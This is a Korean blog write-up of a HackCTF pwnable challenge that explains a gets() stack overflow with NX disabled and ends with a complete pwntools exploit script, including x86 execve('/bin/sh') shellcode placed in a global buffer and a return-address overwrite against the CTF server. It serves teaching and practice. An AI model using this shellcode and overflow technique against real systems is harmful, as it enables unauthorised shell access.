WAR GAME/HackCTF

[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (shellcode)

jir4vvit 2021. 3. 4. 18:23

문제 풀이 환경 : ubuntu 20.04
사용 툴 : IDA 7.5 pro

150점으로 넘어갔다. 갑자기 생각보다 어려워져서(?) 깜짝 놀랐다ㅋㅋㅋ;;


주어진 파일은 문제 바이너리 파일 뿐이다. IDA로 까보자.

 

Analysis

main 함수

볼 게 main 밖에 없다. main을 살펴보자.

gets 함수에서 대놓고 bof가 일어난다. 왜냐하면 gets 함수는 문자열을 입력받지만 문자열을 담을 공간의 길이와 입력받은 문자열의 길이를 확인하지 않기 때문!

 

아 참고로 name은 전역 변수이다.

How to exploit

보호기법을 확인해보면 NX bit가 설정되어 있지 않다. 이 뜻은 쉘코드를 실행시키라는 의미다. 

 

처음에 바보같이 ret에 바로 쉘코드를 넣어주었다. 진짜 바보같다. 상식적이지 않은 행동이다.

 

 

전역변수 name에 쉘코드를 넣고 그 주소를 RET로 주면 된다. 

payload = dummy + SFP(dummy) + 전역변수 name 주소(RET)

 

Let's exploit

from pwn import *

#p = process('./prob1')
p = remote('ctf.j0n9hyun.xyz', 3003)
e = ELF('./prob1')

name_addr = 0x0804A060
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

pay = ''
pay += 'B'*24           # dummy+SFP
pay += p32(name_addr)   # ret

pause()
p.sendlineafter(': ', shellcode)
p.sendlineafter(': ', pay)

p.interactive()